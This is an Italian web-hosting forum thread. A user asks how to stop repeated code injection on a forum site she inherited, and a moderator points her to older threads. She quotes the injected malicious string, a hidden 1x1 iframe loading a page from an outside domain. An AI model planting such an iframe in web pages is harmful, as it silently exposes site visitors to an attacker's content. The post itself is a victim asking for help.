bloccare gli injection?

Salve a tutti,
mi scuso se non posto nella sezione sbagliata, ma sono nei casini e non so bene cosa fare. Ho ereditato il sito e quindi l'acocunt da un ex admin dello stesso che se ne è andato fuori italia per lavoro, tutto bene finché non è apparso un maledetto virus nella home del forum. Io purtroppo non so bene dove mettere le mani, anche perchè questo è ovunque e non fai in tempo a cancellarlo da una parte che ti ricompare dall'altra.
la stirnga incriminata è la seguente:
<iframe src="http://1-extreme.biz/traff.php?adv=30" width=1 height=1></iframe>.
Ho contattato il tipo tramite e-mail e mi ha consigliato di informarmi sul forum di altervista in merito a come bloccare gli injection senza poter usare l'htaccess. Ho cercato tra i forum, ma mi pare di non essere riuscita a trovare qualcosa di così specifico, forse anche perchè non l'ho capito purtroppo.
Vi ringrazio anticipatamente.

Elena

ho spostato in livello 4 (CMS, Forum,...)

[seneca]

parli del forum IPB1.3 che hai sul tuo account? in caso positivo dai un'occhiata ai thread http://forum.altervista.org/showthread.php?t=29208 e http://forum.altervista.org/showthread.php?t=52949, potrebbero tornarti utili.

grazie mille seneca, adesso mi metto a leggere e cerco qualcosa di utile. :)